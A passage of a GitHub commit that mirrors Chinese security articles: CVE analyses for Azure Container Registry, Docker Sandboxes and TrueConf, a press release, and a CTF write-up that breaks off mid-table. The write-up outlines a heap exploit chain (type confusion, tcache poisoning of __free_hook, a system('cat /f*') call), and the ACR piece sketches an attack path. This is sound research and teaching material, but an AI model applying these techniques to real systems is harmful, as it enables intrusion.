mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-24 08:54:27 +00:00
正在获取URL...
chainreactors: 0 个URL BruceFeIix: 3 个URL Doonsec: 25 个URL 总共去重后: 28 个URL 【已复现】CVE-2026-72529 CVE-2026-72530TrueConf Server 未授权远程代码执行漏洞、2026网安周 | 再获权威认可！中孚信息获评CNVD原创漏洞发现贡献单位、全流程 AI 化：沥泉科技TraceLoom从发现漏洞到验证漏洞、(10分) CVE-2026-69865：微软Azure容器仓库鉴权绕过、伪造 Object Header：一次 C++ 解释器类型混淆漏洞利用分析、近期漏洞简单整理复现-showdoc∕Nacos∕JimuReport、信息安全漏洞周报【第092期】、Docker Sandboxes曝严重逃逸漏洞，恶意代码可读写macOS主机文件、
This commit is contained in:
test committed
1 parent
54d0f1f77b
commit
f4e9614d5c
9 files changed
+1826
-1
No files matched your search
@@ -26906,5 +26906,13 @@
|
||||
"https://mp.weixin.qq.com/s/jlLMC-N1IOtRPmLHRONG9A": "QQ飞车桌面客户端 RCE 报告的事实核查-好像给了($515)",
|
||||
"https://mp.weixin.qq.com/s/T0qJypSuaNL8qjhHrX5Nqw": "搜狗输入法 CVE-2026-51990 全链复现：参数注入 → 无沙箱浏览器 → V8 RCE",
|
||||
"https://mp.weixin.qq.com/s/JO3Si2rnltqhfZw22KXWXw": "7-Zip RAR5备用流名碰撞绕过MotW---CVE-2026-58052分析",
|
||||
"https://mp.weixin.qq.com/s/w5bVmDNTqLSLMWSPYeiuIg": "信息安全漏洞预警（2026年9月14日-2026年9月18日）"
|
||||
"https://mp.weixin.qq.com/s/w5bVmDNTqLSLMWSPYeiuIg": "信息安全漏洞预警（2026年9月14日-2026年9月18日）",
|
||||
"https://mp.weixin.qq.com/s/dhIM1kpM_AAukHQfntFFlw": "【已复现】CVE-2026-72529 CVE-2026-72530TrueConf Server 未授权远程代码执行漏洞",
|
||||
"https://mp.weixin.qq.com/s/FsKTjuPVwZ5NvDnf7eJFSg": "2026网安周 | 再获权威认可！中孚信息获评CNVD原创漏洞发现贡献单位",
|
||||
"https://mp.weixin.qq.com/s/RpB5-hwLT-0-q7ClbQ-x5w": "全流程 AI 化：沥泉科技TraceLoom从发现漏洞到验证漏洞",
|
||||
"https://mp.weixin.qq.com/s/vur3G7YqbIC2P_cN27kXoQ": "(10分) CVE-2026-69865：微软Azure容器仓库鉴权绕过",
|
||||
"https://mp.weixin.qq.com/s/kCNEL8eA7w9miTKTLpeclg": "伪造 Object Header：一次 C++ 解释器类型混淆漏洞利用分析",
|
||||
"https://mp.weixin.qq.com/s/6v00MkyOxvuIUnDB7DW8gw": "近期漏洞简单整理复现-showdoc∕Nacos∕JimuReport",
|
||||
"https://mp.weixin.qq.com/s/yf_HO1-2HGX26wLzNFgHtg": "信息安全漏洞周报【第092期】",
|
||||
"https://mp.weixin.qq.com/s/ok6WTTCgN2L3QPgsvmQVDg": "Docker Sandboxes曝严重逃逸漏洞，恶意代码可读写macOS主机文件"
|
||||
}
|
||||
@@ -0,0 +1,132 @@
|
||||
# (10分) CVE-2026-69865：微软Azure容器仓库鉴权绕过
|
||||
红队安全圈
|
||||
红队安全圈 红队安全圈 2026-09-18 12:00
|
||||
|
||||
CVSS 满分 10.0，网络可达、零权限、零交互，打的是云环境的容器镜像仓库——微软 9 月补丁日最扎眼的一个洞。
|
||||
|
||||
## 01 漏洞速览
|
||||
|
||||
微软 9 月补丁日刚放出的一个 CVSS **10.0**
|
||||
满分洞，打的是 Azure Container Registry（容器镜像仓库）。网络可达、低复杂度、无需任何权限、无需用户交互，成功利用可直接提权。更扎眼的是，它带着 exclusively-hosted-service 标签——托管的云服务，补丁微软替你打，但利用窗口和攻击面的判断，得你自己拿主意。
|
||||
|
||||
漏洞编号
|
||||
CVE-2026-69865
|
||||
|
||||
影响产品
|
||||
Azure Container Registry
|
||||
|
||||
漏洞类型
|
||||
CWE-639 用户可控密钥授权绕过
|
||||
|
||||
危害等级
|
||||
CVSS 3.1 10.0 CRITICAL
|
||||
|
||||
CVSS 向量
|
||||
AV:N/AC:L/PR:N/UI:N/S:C
|
||||
|
||||
是否在野
|
||||
暂无在野利用报告
|
||||
|
||||
公开 PoC
|
||||
暂无
|
||||
|
||||
影响面
|
||||
机密/完整性双高，可跨资源
|
||||
|
||||
## 02 漏洞成因
|
||||
|
||||
CWE-639 这个弱点编号大家应该不陌生，江湖俗称 IDOR 的授权版：系统拿一个用户可控的标识符（key/ID/token）去做资源定位和鉴权决策，但只验证了"你是不是持着这个 key"，没验证"这个 key 是不是有权访问这个资源"。
|
||||
|
||||
放到 Azure Container Registry 场景里推演：ACR 的数据面操作（拉镜像、推镜像、查 tag、删 layer）大量依赖各种 token 和资源标识——registry 名称、repository 路径、digest、scope map 里的 repository ID。如果某个内部授权链路把这些标识当作信任凭据直接采信，而没有回查调用方的真实 RBAC 权限，那么任何能触达 ACR endpoint 的未认证攻击者，只要枚举或猜到一个合法的资源标识，就能冒名顶替完成本该被拒绝的操作。
|
||||
|
||||
注意 CVSS 向量里的 S:C（Scope Changed）：利用的影响不局限在 ACR 自身。镜像仓库是云环境的软件供应链咽喉——推一个带后门的镜像、覆盖一个 CI/CD 依赖的 tag，攻击就能顺着部署管道横向进到 compute 层。这也是为什么机密性和完整性都是 High 而评分能到满分的核心原因。
|
||||
|
||||
## 03 影响范围
|
||||
|
||||
受影响的是 Azure Container Registry 托管服务本身。NVD 数据里版本字段为 -，属云侧修复：微软已在服务端部署补丁，用户侧没有可升级的客户端版本。
|
||||
|
||||
换句话说：你的 registry 现在大概率已经是修复后的状态。但这不等于没事可做——修复窗口内的访问日志、以及"有没有人比我先动手"这个问题，才是重点。
|
||||
|
||||
## 04 利用分析（危害推演）
|
||||
|
||||
暂无公开 PoC，这里按成因推演一条攻击路径：
|
||||
|
||||
**第一步，侦察：**
|
||||
目标组织用了 ACR，registry 名通常是 login server 的子域（xxx.azurecr.io），从子域名枚举、DNS 记录、CI 配置文件泄漏里都能拿到。
|
||||
|
||||
**第二步，定位薄弱面：**
|
||||
既然是 user-controlled key，重点探测数据面 API 里接受资源标识参数的端点——镜像 pull/push 流程中的 token exchange 环节、manifest 请求、tag 列表接口。
|
||||
|
||||
**第三步，绕过验证：**
|
||||
构造请求时篡改 key/标识参数，观察返回——如果能以未认证身份读到私有 repository 的 manifest 或 digest，即确认绕过成立。
|
||||
|
||||
**第四步，提权落地：**
|
||||
拿到读权限可拖取私有镜像（源码、密钥、内部配置全在里面）；拿到写权限则推投毒镜像或覆盖生产 tag，等待 CI/CD 拉取执行。
|
||||
|
||||
对蓝队来说，这条链里每一步在 ACR 的控制面/数据面日志里都有对应痕迹，这就是下面检测环节的依据。
|
||||
|
||||
## 05 检测与排查
|
||||
|
||||
判断自己是否被攻击，去 Azure Portal 的 registry 诊断设置里确认数据面日志已开启，然后重点查这些事件：
|
||||
|
||||
# 查匿名/未认证访问尝试
|
||||
|
||||
az monitor activity-log list \
|
||||
|
||||
--resource-id /subscriptions/\
|
||||
|
||||
<sub>/resourceGroups/<rg>/\
|
||||
|
||||
providers/Microsoft.\
|
||||
|
||||
ContainerRegistry/registries/\
|
||||
|
||||
<name> \
|
||||
|
||||
--query "[?caller==null]"
|
||||
|
||||
# registry 登录事件重点关注
|
||||
|
||||
# 认证失败后紧跟成功操作的记录
|
||||
|
||||
重点筛查模式：同一来源 IP 大量对不存在的 repository 发请求（枚举行为）、未认证上下文里出现成功的数据面操作、非 CI 出口 IP 触发的 push 或 tag 变更。时间窗口以微软修复上线日为界往前推——如果修复窗口内就有异常成功操作，按已失陷处理。
|
||||
|
||||
再补一个供应链侧排查：列出近期被 pull 的镜像 digest，和你的 CI 部署记录对账，确认没被人塞过不认识的 layer。
|
||||
|
||||
## 06 修复建议
|
||||
|
||||
服务端补丁已由微软部署，确认你的 registry 区域已纳入修复范围（以 MSRC 通告为准）。
|
||||
|
||||
无客户端版本可升，不用改 registry 配置本身。缓解与加固建议照做：
|
||||
|
||||
数据面日志全开并接入 SIEM；registry 关闭公网暴露（Private Link + 专用 DNS 区）；给 CI/CD 用的 Service Principal 只授最小 ACR 权限（pull 场景别给 push）。
|
||||
|
||||
启用镜像签名（如
|
||||
cosign
|
||||
）+ 部署侧 digest pinning，就算写权限被滥用，投毒镜像也过不了验签。
|
||||
|
||||
## 07 红队视角
|
||||
|
||||
实战价值判断：这类云托管服务的鉴权绕过，红队视角下是"高价值、低复现概率"的组合。高价值在于——一旦有可行绕过，ACR 直通目标云环境的软件供应链，比打一个 web 应用划算得多；低复现概率在于，托管服务的补丁在微软侧分钟级推送，公开研究窗口极短，而且你连目标环境的基础设施都摸不到。
|
||||
|
||||
可带走的思路有两点。一是关注后续公开研究：exclusively-hosted-service 类 CVE 的细节往往滞后几天到几周才有人放出技术分析，user-controlled key 类问题的利用面通常固定在 token exchange 和数据面 API 参数这两处，研究一出即可按第 04 节的路径验证。二是把 CWE-639 打进你的云测试 checklist：任何接受资源标识的云 API 调用，都测一遍"换 key 不换身份"——历史上 S3、GCS、各类 KMS 服务都在这里栽过，ACR 不是第一个，也不会是最后一个。
|
||||
|
||||
顺带一提，这次补丁日微软还发了 CVE-2026-77903（Dataverse 身份伪造）、CVE-2026-85889（Azure AI Foundry 关键功能缺失鉴权）、CVE-2026-69843（Fabric 身份伪造）等一串云侧鉴权问题，主题高度一致：云服务的授权边界正在被集中审计，做云安全的同行建议把这几个一起过一遍。
|
||||
|
||||
## 08 参考通告
|
||||
|
||||
https://msrc.microsoft.com/
|
||||
|
||||
update-guide/vulnerability/
|
||||
|
||||
CVE-2026-69865
|
||||
|
||||
说明：暂无公开 PoC，链接为微软官方安全通告页。后续有公开研究会在公众号跟进。
|
||||
|
||||
|
||||
如果文章对您有收获，欢迎**关注**
|
||||
、点赞、推荐、转发。
|
||||
|
||||
— END —
|
||||
|
||||
|
||||
@@ -0,0 +1,49 @@
|
||||
# 2026网安周 | 再获权威认可！中孚信息获评CNVD原创漏洞发现贡献单位
|
||||
中孚信息 2026-09-18 09:51
|
||||
|
||||
****
|
||||
|
||||
9
|
||||
月15日，2026年国家网络安全宣传周期间，**第23届中国网络安全年会暨网络安全协同防御分论坛**
|
||||
在济南顺利召开。大会聚焦智能时代网络安全协同防御建设，汇聚政企、科研及产业各界代表，共探网络安全创新发展路径。
|
||||
|
||||
蝉联荣誉
|
||||
|
||||
|
||||
国家信息安全漏洞共享平台（CNVD）正式公布年度优秀单位表彰名单，中孚信息凭借扎实的漏洞研究实力与突出的安全贡献，成功获评**“****CNVD原创漏洞发现贡献单位****”**
|
||||
，再度斩获国家级权威荣誉。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
CNVD是国内权威的国家级漏洞共享与治理平台，其年度评优是衡量网络安全企业技术研发能力与行业社会责任的重要标杆。此次获奖，是行业对中孚信息长期深耕漏洞安全领域、持续输出高质量原创成果的充分肯定，彰显了公司在网络安全攻防研究、风险治理领域的过硬技术积淀。
|
||||
|
||||
优异成绩的背后，依托中孚核心安全研究力量元亨实验室。面对智能时代日趋复杂的网络安全态势，实验室团队持续紧盯前沿安全威胁，常态化开展关键信息基础设施、政企核心业务系统的漏洞挖掘与技术攻关。通过深耕系统底层架构、研判新型安全风险，团队全年累计发现并上报多项高价值原创漏洞，助力相关单位及时完成漏洞修复、化解安全隐患，有效支撑了全网安全风险闭环治理。
|
||||
|
||||
|
||||
多年来，中孚信息始终积极参与国家网络安全体系建设，持续为
|
||||
CNVD
|
||||
平台提供高质量技术支撑，以实战化研究能力助力净化网络安全生态。未来，公司将持续深耕漏洞挖掘、安全防御等前沿技术领域，不断提升网络安全攻防与风险处置能力，积极参与行业协同联防工作，持续为国家关键信息基础设施安全防护和网络安全事业高质量发展贡献力量。
|
||||
|
||||
|
||||
**元 亨 实 验 室**
|
||||
|
||||
元亨实验室聚焦于**漏洞挖掘、前沿攻击技术研究、高级威胁研究**
|
||||
三大方向，在**Web安全、二进制安全、移动安全、云安全、供应链安全**
|
||||
和**威胁情报**
|
||||
等领域均开展前瞻性技术研究。
|
||||
|
||||
|
||||
截至目前，元亨实验室持续跟踪全球**300+APT**
|
||||
组织，多次攻破APT基础设施，作为演讲嘉宾参加**ISC、BCS、Virus Bulletin、Kcon**
|
||||
等多个国际国内会议，协助含**微软、Apache软件基金会、Apple**
|
||||
在内的多个厂家发现产品、业务安全漏洞，现已陆续成为CNNVD、CAPPVD、CITIVD等国家漏洞库的技术支撑单位及漏洞治理合作单位，多次向CNVD、CNNVD、CAPPVD等国家漏洞库提交高价值原创漏洞，获得用户及国家层面的高度评价。
|
||||
|
||||
|
||||
国产化安全在全球网络战中占据着核心地位，境外APT组织的任何攻击都可能威胁国家及公众安全，探究国产化安全并提出有效防御方案刻不容缓。元亨实验室将始终**坚守国产化安全的研究阵地**
|
||||
，致力于利用科技力量保卫网络安全。
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,121 @@
|
||||
# Docker Sandboxes曝严重逃逸漏洞，恶意代码可读写macOS主机文件
|
||||
FreeBuf 2026-09-18 10:00
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Part
|
||||
01
|
||||
|
||||
沙箱隔离存在缺陷
|
||||
|
||||
9月15日，Docker发布安全公告称，macOS平台上运行的Docker Sandboxes虚拟机内若存在恶意代码，可逃逸至已共享的项目目录之外，读取或修改主机上任意位置的文件。
|
||||
|
||||
|
||||
这类逃逸行为的权限，与运行该虚拟机的主机账户权限完全一致。该漏洞编号为CVE-2026-77179，Docker将其评级为严重，影响macOS平台0.28.0及以上、0.42.0以下版本，Docker已于9月7日发布的0.42.0版本中修复该漏洞。
|
||||
|
||||
|
||||
Docker Sandboxes会为每个AI coding Agent分配独立的轻量虚拟机，仅将项目目录共享至虚拟机内部。可触发逃逸的代码包括虚拟机内运行的任意程序，比如被诱导背叛用户的coding Agent，或是Agent安装运行的恶意程序。
|
||||
|
||||
|
||||
Docker目前未监测到任何在野利用案例。CISA在CVE条目中补充的评估信息显示，目前暂无该漏洞的在野利用记录；截至9月16日发布的KEV目录版本，CISA也未将该漏洞纳入已知被利用漏洞目录。
|
||||
|
||||
|
||||
该漏洞的触发前提是沙箱内部存在恶意代码，而沙箱的核心作用就是保护主机不受Agent运行内容的影响。Agent会在虚拟机内安装软件包、使用sudo执行命令，Docker的隔离文档明确说明，虚拟机监控程序边界“才是隔离控制的边界，而非虚拟机内部的权限分离机制”。
|
||||
|
||||
|
||||
Docker表示，逃逸路径存在于virtio-fs主机服务端——也就是Mac与虚拟机之间文件共享功能的主机侧组件，该组件在通过存储路径重新打开已被删除的文件时，会跟随符号链接跳转。
|
||||
|
||||
|
||||
Docker表示，Guest（即虚拟机内运行的任意程序）可将父目录替换为符号链接，随后以VMM用户（即运行虚拟机监控器的主机账户）身份读取或修改文件，“可能导致主机上的代码执行”。
|
||||
|
||||
|
||||
Docker自3月起就在文档中说明，系统不会跟随指向工作区（Docker对共享项目目录的称呼）外部的符号链接。
|
||||
|
||||
|
||||
本次版本更新还修复了第二个漏洞CVE-2026-79994，Docker将其评级为高危，CVSS评分为8.7。该漏洞存在于中继组件中，这类组件的作用是允许沙箱连接授权工作区内的Unix域套接字。
|
||||
|
||||
|
||||
Docker表示，该中继组件会先校验套接字路径是否位于工作区内，再通过路径名重新建立连接。如果Guest在校验完成到建立连接的间隙，将路径上的某个目录替换为符号链接，就能让主机连接到工作区外的任意AF_UNIX套接字，“导致该套接字提供的数据或主机侧能力暴露”。
|
||||
|
||||
|
||||
该漏洞影响0.37.0至0.41.9版本，0.42.0版本不受影响。Docker明确标注第一个漏洞仅影响macOS平台，但未说明第二个漏洞的影响平台；目前Docker Sandboxes可运行在macOS、Windows、Linux三类主机上。CISA对第二个漏洞的评估同样显示暂无在野利用记录，该漏洞也未被纳入KEV目录。
|
||||
|
||||
|
||||
Part
|
||||
02
|
||||
|
||||
官方给出具体升级与缓解方案
|
||||
|
||||
|
||||
|
||||
|
||||
针对两个漏洞，Docker给出了统一的修复建议：
|
||||
|
||||
|
||||
升级至0.42.0及以上版本。截至9月17日，最新正式版本为9月15日发布的0.43.0。
|
||||
|
||||
|
||||
若暂时无法完成升级，可使用克隆模式，避免添加具备读写权限的主机挂载。
|
||||
|
||||
|
||||
默认情况下，sbx run命令会以读写权限将当前目录共享至沙箱。克隆模式仅支持Git仓库项目，且需要在创建沙箱时设置，因此已创建的沙箱需要删除，再添加--clone参数重新创建。
|
||||
|
||||
|
||||
Docker文档说明，克隆模式仅能防止仓库文件被修改，无法阻止文件被读取。采用该模式时，系统会将仓库以只读模式挂载到/run/sandbox/source路径，.env等未被Git跟踪的文件在沙箱内仍可被读取。
|
||||
|
||||
|
||||
Part
|
||||
03
|
||||
|
||||
补丁发布8天后披露公告
|
||||
|
||||
Docker于9月15日发布CVE记录与安全公告，距离0.42.0版本正式发布间隔8天。
|
||||
|
||||
|
||||
截至9月17日，GitHub与Docker文档站点上的0.42.0版本发布说明，均未提及上述两个CVE编号。在常规修复条目中，有一条提到“修复了沙箱内进程可诱导守护进程打开主机D-Bus传输通道、在主机上执行任意命令的问题”，Docker并未说明该修复对应哪一个CVE。
|
||||
|
||||
|
||||
CVE-2026-79994的最初记录曾标注0.41.0为首个修复版本，还附上了不存在的0.41.0版本发布页面链接。9月15日记录发布约1小时后，Docker将两处错误信息更正为0.42.0。
|
||||
|
||||
|
||||
Docker在公告中致谢了漏洞发现者：CVE-2026-77179由accomplish.ai的Oren Yomtov发现，CVE-2026-79994由ThreatNotify的Jurre van Bergen发现。
|
||||
|
||||
|
||||
今年4月，Cyera Research Labs曾披露同类风险：基于Docker的沙箱内运行的coding Agent若遭提示注入攻击，可能被诱导利用Docker Engine的独立漏洞攻击主机。
|
||||
|
||||
|
||||
参考来源：
|
||||
|
||||
Critical Docker Sandboxes Flaw Lets Malicious Guest Code Read and Modify macOS Host Files
|
||||
|
||||
https://thehackernews.com/2026/09/critical-docker-sandboxes-flaw-lets.html
|
||||
|
||||
|
||||
### 推荐阅读
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651346509&idx=1&sn=71e02ef8b6a2ed67fdc94aa19b152171&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
###
|
||||
|
||||
### 电报讨论
|
||||
|
||||
|
||||
[]()
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,24 @@
|
||||
# 【已复现】CVE-2026-72529 CVE-2026-72530TrueConf Server 未授权远程代码执行漏洞
|
||||
原创 易富贤
|
||||
易富贤 源影安全团队 2026-09-18 10:15
|
||||
|
||||
TrueConf Server 是一款面向企业、政府及各类机构的视频会议与统一通信服务器软件，可部署在 Windows 与 Linux 平台上，通常安装于组织内网，为内部人员提供视频会议、即时消息、文件传输、通讯录与终端管理等服务。它往往承担着组织内部实时通信的核心枢纽角色，因此服务器上会承载大量敏感内容——包括会议音视频、聊天记录、共享文档以及内部人员组织架构等信息。也正因如此，一旦这台服务器被他人控制，其影响范围会远远超出这一台主机本身。
|
||||
|
||||
CVE-2026-72529 —— 关键功能缺少身份认证
|
||||
|
||||
TrueConf Server 在处理 4307 端口的通信协议时，对一项关键功能没有进行必要的身份认证检查。这意味着，任何能够从网络上访问到该端口的攻击者，不需要持有任何账号、密码或其他凭据，就可以连接服务器并调用一个未在公开资料中记载的功能接口，从而向服务器下发一段会被执行的脚本。对攻击者而言，这一步几乎没有技术门槛，也不需要在目标系统上事先拥有任何权限。
|
||||
|
||||
CVE-2026-72530 —— 隔离环境逃逸
|
||||
|
||||
按照设计，上述被下发的脚本应当运行在服务器提供的受限隔离环境中，不能直接影响操作系统。但该隔离环境存在逃逸缺陷：攻击者可以构造特殊内容的脚本，突破隔离限制，使其以服务器进程自身的权限在操作系统层面执行任意代码。在 Windows 环境下，这一权限通常为系统最高权限（SYSTEM）。
|
||||
|
||||
这两个漏洞可以串联成一条完整的攻击链：无凭据接入 → 下发脚本 → 逃逸隔离 → 以服务器权限执行系统命令。由于此类服务器通常部署于企业内网、承载敏感通信与组织信息，上述危害会直接危及机构的信息安全与商业机密。结合官方信息，该漏洞披露后已被 APT 组织在实际攻击中利用，并被列入 CISA 已知被利用漏洞目录。
|
||||
|
||||
复现视频：
|
||||
|
||||
Linux:
|
||||
|
||||
|
||||
Windows:
|
||||
|
||||
|
||||
@@ -0,0 +1,375 @@
|
||||
# 伪造 Object Header：一次 C++ 解释器类型混淆漏洞利用分析
|
||||
wx_平淡无奇
|
||||
wx_平淡无奇 看雪学苑 2026-09-18 10:01
|
||||
|
||||
**保护**
|
||||
：Full RELRO / PIE / NX / Canary / Stripped
|
||||
## 概览
|
||||
|
||||
题目给了一个 stripped 的 64 位 C++ PIE 二进制，跑起来是个交互式解释器，支持变量赋值、数组、算术运算和字段读写。附带 libc-2.27.so 和 ld。保护全开。
|
||||
|
||||
|
||||
核心思路：利用解释器内部的类型混淆，伪造对象头实现 OOB 读写，泄露 XOR 密钥和 libc 地址，通过侧信道逐位恢复 libc 基址，最后 tcache poisoning 打 __free_hook
|
||||
拿 shell。
|
||||
|
||||
```
|
||||
伪造 BEEF 头 → OOB 读 XOR key + libc 指针 ↓侧信道逐位泄露 → 恢复 libc_base (36 bits) ↓tcache[0x30] fd 毒化 → 指向 __free_hook - 24 ↓字符串分配落在 __free_hook → 覆写为 system ↓字符串析构 free() → system("cat /f*;...") → flag
|
||||
```
|
||||
|
||||
##
|
||||
|
||||
|
||||
|
||||
逆向分析
|
||||
### 解释器语法
|
||||
|
||||
跑一下二进制，输入几条命令摸清语法。解释器读 cin.getline(buf, 0x100)
|
||||
，支持以下操作：
|
||||
|
||||
<table><thead><tr><th style="border: 1px solid;padding: 0.2rem 1.5rem;"><section><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">语法</span></span></section></th><th style="border: 1px solid;padding: 0.2rem 1.5rem;"><section><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">含义</span></span></section></th><th style="border: 1px solid;padding: 0.2rem 1.5rem;"><section><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">示例</span></span></section></th></tr></thead><tbody><tr><td style="border: 1px solid;padding: 0.2rem 1.5rem;font-size: 15px;"><code><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">$N=num</span></span></code></td><td style="border: 1px solid;padding: 0.2rem 1.5rem;font-size: 15px;"><section><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">赋值立即数</span></span></section></td><td style="border: 1px solid;padding: 0.2rem 1.5rem;font-size: 15px;"><code><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">$1=48879</span></span></code></td></tr><tr><td style="border: 1px solid;padding: 0.2rem 1.5rem;font-size: 15px;"><code><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">$N=$M</span></span></code></td><td style="border: 1px solid;padding: 0.2rem 1.5rem;font-size: 15px;"><section><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">寄存器拷贝</span></span></section></td><td style="border: 1px solid;padding: 0.2rem 1.5rem;font-size: 15px;"><code><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">$6=$5</span></span></code></td></tr><tr><td style="border: 1px solid;padding: 0.2rem 1.5rem;font-size: 15px;"><code><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">$N=[a,b,c]</span></span></code></td><td style="border: 1px solid;padding: 0.2rem 1.5rem;font-size: 15px;"><section><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">创建数组对象</span></span></section></td><td style="border: 1px solid;padding: 0.2rem 1.5rem;font-size: 15px;"><code><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">$0=[0,0,0,0,0]</span></span></code></td></tr><tr><td style="border: 1px solid;padding: 0.2rem 1.5rem;font-size: 15px;"><code><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">$N op $M</span></span></code></td><td style="border: 1px solid;padding: 0.2rem 1.5rem;font-size: 15px;"><section><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">算术运算（改左操作数）</span></span></section></td><td style="border: 1px solid;padding: 0.2rem 1.5rem;font-size: 15px;"><code><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">$1*$2</span></span></code></td></tr><tr><td style="border: 1px solid;padding: 0.2rem 1.5rem;font-size: 15px;"><code><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">$N=$M[i]</span></span></code></td><td style="border: 1px solid;padding: 0.2rem 1.5rem;font-size: 15px;"><section><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">读字段 (GetField)</span></span></section></td><td style="border: 1px solid;padding: 0.2rem 1.5rem;font-size: 15px;"><code><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">$4=$0[0][4]</span></span></code></td></tr><tr><td style="border: 1px solid;padding: 0.2rem 1.5rem;font-size: 15px;"><code><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">$N[i]=$M</span></span></code></td><td style="border: 1px solid;padding: 0.2rem 1.5rem;font-size: 15px;"><section><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">写字段 (SetField)</span></span></section></td><td style="border: 1px solid;padding: 0.2rem 1.5rem;font-size: 15px;"><code><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">$0[0]=$1</span></span></code></td></tr></tbody></table>
|
||||
|
||||
|
||||
支持的运算符：+-*/%^|&
|
||||
，全部是无符号整数运算（乘法用 imul
|
||||
），结果写回左操作数。
|
||||
> **坑：**
|
||||
解释器**不支持复合表达式**
|
||||
。$6=$5^$4
|
||||
并不会计算 $5 XOR $4
|
||||
然后赋给 $6
|
||||
，实际结果是错的。必须拆成两步：先 $6=$5
|
||||
再 $6^$4
|
||||
。这个 bug 卡了很久。
|
||||
|
||||
### 对象模型：NaN-boxing 与指针标签
|
||||
|
||||
逆向 RTTI 可以还原出完整的类型体系。解释器用 64 位 tagged value 存储所有值：
|
||||
- **Number**
|
||||
直接存 64 位整数
|
||||
|
||||
- **Object 指针**
|
||||
高 16 位为 0x1337
|
||||
标签，低 48 位为 arena 内偏移（经 XOR 加密）
|
||||
|
||||
- **序列化 Object 头**
|
||||
高 16 位为 0xBEEF
|
||||
标签，低 16 位为元素数量
|
||||
|
||||
Object 在 arena 内的布局：
|
||||
|
||||
```
|
||||
[0x00]BEEF_0000_0000_count// 序列化头，count = 元素数[0x08]element[0]// 各元素为 64-bit tagged value[0x10]element[1]...
|
||||
```
|
||||
|
||||
### XOR 指针加密
|
||||
|
||||
程序启动时从 /dev/urandom
|
||||
读取一个 64 位随机密钥。arena 中存储的所有值都经过 XOR 加密——写入时 val ^ key
|
||||
，读出时 stored ^ key
|
||||
还原。
|
||||
|
||||
|
||||
OOB 读出来的值是加密的，需要先拿到 key 才能解密，写入时也要先加密。
|
||||
### Arena 分配器
|
||||
|
||||
解释器用 malloc(0x10000)
|
||||
的 64KB 堆块作为 arena，bump allocator，没有 GC。所有 Object 节点数据在 arena 里，AST 节点通过 new
|
||||
分配在普通堆上。
|
||||
|
||||
|
||||
各节点的 malloc 大小（后面要用）：
|
||||
|
||||
<table><thead><tr><th style="border: 1px solid;padding: 0.2rem 1.5rem;"><section><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">节点类型</span></span></section></th><th style="border: 1px solid;padding: 0.2rem 1.5rem;"><section><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">malloc(N)</span></span></section></th><th style="border: 1px solid;padding: 0.2rem 1.5rem;"><section><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">chunk size</span></span></section></th></tr></thead><tbody><tr><td style="border: 1px solid;padding: 0.2rem 1.5rem;font-size: 15px;"><section><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">Object</span></span></section></td><td style="border: 1px solid;padding: 0.2rem 1.5rem;font-size: 15px;"><code><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">malloc(32)</span></span></code></td><td style="border: 1px solid;padding: 0.2rem 1.5rem;font-size: 15px;"><code><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">0x30</span></span></code></td></tr><tr><td style="border: 1px solid;padding: 0.2rem 1.5rem;font-size: 15px;"><section><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">BinOp</span></span></section></td><td style="border: 1px solid;padding: 0.2rem 1.5rem;font-size: 15px;"><code><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">malloc(32)</span></span></code></td><td style="border: 1px solid;padding: 0.2rem 1.5rem;font-size: 15px;"><code><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">0x30</span></span></code></td></tr><tr><td style="border: 1px solid;padding: 0.2rem 1.5rem;font-size: 15px;"><section><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">SetField</span></span></section></td><td style="border: 1px solid;padding: 0.2rem 1.5rem;font-size: 15px;"><code><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">malloc(48)</span></span></code></td><td style="border: 1px solid;padding: 0.2rem 1.5rem;font-size: 15px;"><code><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">0x40</span></span></code></td></tr><tr><td style="border: 1px solid;padding: 0.2rem 1.5rem;font-size: 15px;"><section><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">GetField</span></span></section></td><td style="border: 1px solid;padding: 0.2rem 